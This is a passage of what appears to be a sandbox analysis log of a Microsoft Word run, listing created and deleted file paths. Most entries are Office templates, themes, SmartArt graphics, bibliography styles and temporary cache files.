  816. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9554.tmp",
  817. "C:\\Users\\user\\AppData\\Local\\Temp\\cab96A0.tmp",
  818. "C:\\Users\\user\\AppData\\Local\\Temp\\cab96B1.tmp",
  819. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9730.tmp",
  820. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9760.tmp",
  821. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9640.tmp\\InterconnectedBlockProcess.glox",
  822. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9630.tmp\\ThemePictureAccent.glox",
  823. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9651.tmp\\PictureFrame.glox",
  824. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96D1.tmp\\HexagonRadial.glox",
  825. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9640.tmp\\Content.inf",
  826. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B8.tmp\\sist02.xsl",
  827. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9651.tmp\\Content.inf",
  828. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B9.tmp\\TabList.glox",
  829. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96D1.tmp\\Content.inf",
  830. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9630.tmp\\Content.inf",
  831. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B8.tmp\\Content.inf",
  832. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  833. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  834. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B9.tmp\\Content.inf",
  835. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9ABF.tmp",
  836. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AFF.tmp",
  837. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8D.tmp",
  838. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  839. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9BEE.tmp",
  840. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9C5D.tmp",
  841. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  842. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A9F.tmp\\chicago.xsl",
  843. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  844. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9CDB.tmp",
  845. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  846. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  847. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  848. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76",
  849. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  850. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  851. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E09.tmp",
  852. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BEC.tmp\\ConvergingText.glox",
  853. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9AD0.tmp\\gostname.xsl",
  854. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C0E.tmp\\harvardanglia2008officeonline.xsl",
  855. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BED.tmp\\TabbedArc.glox",
  856. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  857. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A9F.tmp\\Content.inf",
  858. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CEC.tmp\\gosttitle.xsl",
  859. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D0C.tmp\\CircleProcess.glox",
  860. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9DE9.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  861. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C0E.tmp\\Content.inf",
  862. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9AD0.tmp\\Content.inf",
  863. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BED.tmp\\Content.inf",
  864. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D1D.tmp\\ThemePictureAlternatingAccent.glox",
  865. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BEC.tmp\\Content.inf",
  866. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA194.tmp",
  867. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CEC.tmp\\Content.inf",
  868. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D0C.tmp\\Content.inf",
  869. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D1D.tmp\\Content.inf",
  870. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  871. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  872. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  873. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  874. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA399.tmp\\ThemePictureGrid.glox",
  875. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9DE9.tmp\\Content.inf",
  876. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA39A.tmp\\content.inf",
  877. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3BB.tmp\\Banded.thmx",
  878. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA399.tmp\\Content.inf",
  879. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  880. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3AB.tmp\\Element design set.dotx",
  881. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  882. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  883. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  884. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA39A.tmp\\Parallax.thmx",
  885. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3BB.tmp\\content.inf",
  886. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  887. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3AB.tmp\\Content.inf",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA504.tmp\\content.inf",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA505.tmp\\VaryingWidthList.glox",
  890. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA506.tmp\\gb.xsl",
  892. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA575.tmp\\Headlines.thmx",
  893. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A6.tmp\\Insight design set.dotx",
  894. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A7.tmp\\content.inf",
  895. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5C7.tmp\\APASixthEditionOfficeOnline.xsl",
  896. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A5.tmp\\ieee2006officeonline.xsl",
  897. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  898. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA607.tmp\\iso690.xsl",
  899. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA606.tmp\\Equations.dotx",
  900. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA504.tmp\\View.thmx",
  901. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA505.tmp\\Content.inf",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA628.tmp\\content.inf",
  903. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  904. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6B5.tmp\\turabian.xsl",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA772.tmp\\content.inf",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A5.tmp\\Content.inf",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA506.tmp\\Content.inf",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA607.tmp\\Content.inf",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A7.tmp\\Metropolitan.thmx",
  910. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA606.tmp\\Content.inf",
  911. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA575.tmp\\Content.inf",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA628.tmp\\Mesh.thmx",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5C7.tmp\\Content.inf",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6B5.tmp\\Content.inf",
  916. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  917. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA772.tmp\\Droplet.thmx",
  919. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  920. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA13.tmp\\content.inf",
  922. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
  923. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  924. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  925. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  926. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A6.tmp\\Content.inf",
  928. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  929. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA13.tmp\\Main_Event.thmx",
  931. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAADF.tmp\\content.inf",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABBA.tmp\\Berlin.thmx",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAC48.tmp\\Feathered.thmx",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAADF.tmp\\Damask.thmx",
  936. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABBA.tmp\\content.inf",
  938. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAC48.tmp\\Content.inf",
  940. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  941. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  942. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  943. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  944. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF25A708ACA440E8D8.TMP",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D5.tmp\\Basis.thmx",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D6.tmp\\BracketList.glox",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D6.tmp\\Content.inf",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D5.tmp\\content.inf",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB555.tmp\\content.inf",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB556.tmp\\mlaseventheditionofficeonline.xsl",
  952. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB534.tmp\\content.inf",
  954. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB555.tmp\\Quotable.thmx",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB556.tmp\\Content.inf",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB534.tmp\\Dividend.thmx",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB602.tmp\\RadialPictureList.glox",
  959. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB623.tmp\\Crop.thmx",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB633.tmp\\content.inf",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB635.tmp\\content.inf",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB646.tmp\\rings.glox",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB657.tmp\\Circuit.thmx",
  965. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB658.tmp\\architecture.glox",
  967. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB602.tmp\\Content.inf",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB634.tmp\\content.inf",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB646.tmp\\Content.inf",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB623.tmp\\Content.inf",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB733.tmp\\chevronaccent.glox",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB633.tmp\\Slate.thmx",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB734.tmp\\pictureorgchart.glox",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB635.tmp\\Frame.thmx",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB658.tmp\\Content.inf",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB634.tmp\\Wood_Type.thmx",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB657.tmp\\content.inf",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB86E.tmp\\Badge.thmx",
  980. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  981. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  982. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB734.tmp\\Content.inf",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB733.tmp\\Content.inf",
  985. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  986. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB86E.tmp\\Content.inf",
  988. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  989. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  990. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  991. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  992. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  993. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC0A.tmp\\content.inf",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC09.tmp\\iso690nmerical.xsl",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCC6.tmp\\content.inf",
  997. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC09.tmp\\Content.inf",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC0A.tmp\\Savon.thmx",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCC6.tmp\\Vapor_Trail.thmx",
  1001. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1002. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  1003. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRD0002.tmp",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  1006.  
  1007.  
  1008. * Deleted Files:
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab6AE5.tmp",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar6AE6.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1012. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab8FE8.tmp",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar8FE9.tmp",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9116.tmp",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9104.tmp",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9117.tmp",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9630.tmp",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9640.tmp",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9651.tmp",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96D1.tmp",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9105.tmp",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B8.tmp",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B9.tmp",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96D1.tmp\\HexagonRadial.glox",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9651.tmp\\PictureFrame.glox",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A9F.tmp",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9630.tmp\\ThemePictureAccent.glox",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9640.tmp\\InterconnectedBlockProcess.glox",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B9.tmp\\TabList.glox",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BEC.tmp",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9AD0.tmp",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C0E.tmp",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BED.tmp",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98B8.tmp\\sist02.xsl",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CEC.tmp",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D0C.tmp",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D1D.tmp",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9DE9.tmp",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E6B.tmp",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DC8.tmp",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DC9.tmp",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D67.tmp",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B4A.tmp",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D88.tmp",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BEC.tmp\\ConvergingText.glox",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D0C.tmp\\CircleProcess.glox",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9BED.tmp\\TabbedArc.glox",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CEC.tmp\\gosttitle.xsl",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA399.tmp",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA39A.tmp",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3AB.tmp",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3BB.tmp",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9AD0.tmp\\gostname.xsl",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A9F.tmp\\chicago.xsl",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B38.tmp",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DF9.tmp",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D1D.tmp\\ThemePictureAlternatingAccent.glox",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C0E.tmp\\harvardanglia2008officeonline.xsl",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9DE9.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB4.tmp",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA504.tmp",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CC7.tmp",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA506.tmp",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA505.tmp",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA399.tmp\\ThemePictureGrid.glox",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A6.tmp",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA575.tmp",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A7.tmp",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5C7.tmp",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A5.tmp",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA39A.tmp\\Parallax.thmx",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA607.tmp",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA606.tmp",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B4B.tmp",
  1076. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA628.tmp",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3BB.tmp\\Banded.thmx",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B35.tmp",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D66.tmp",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D54.tmp",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6B5.tmp",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA772.tmp",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3AB.tmp\\Element design set.dotx",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D68.tmp",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E8B.tmp",
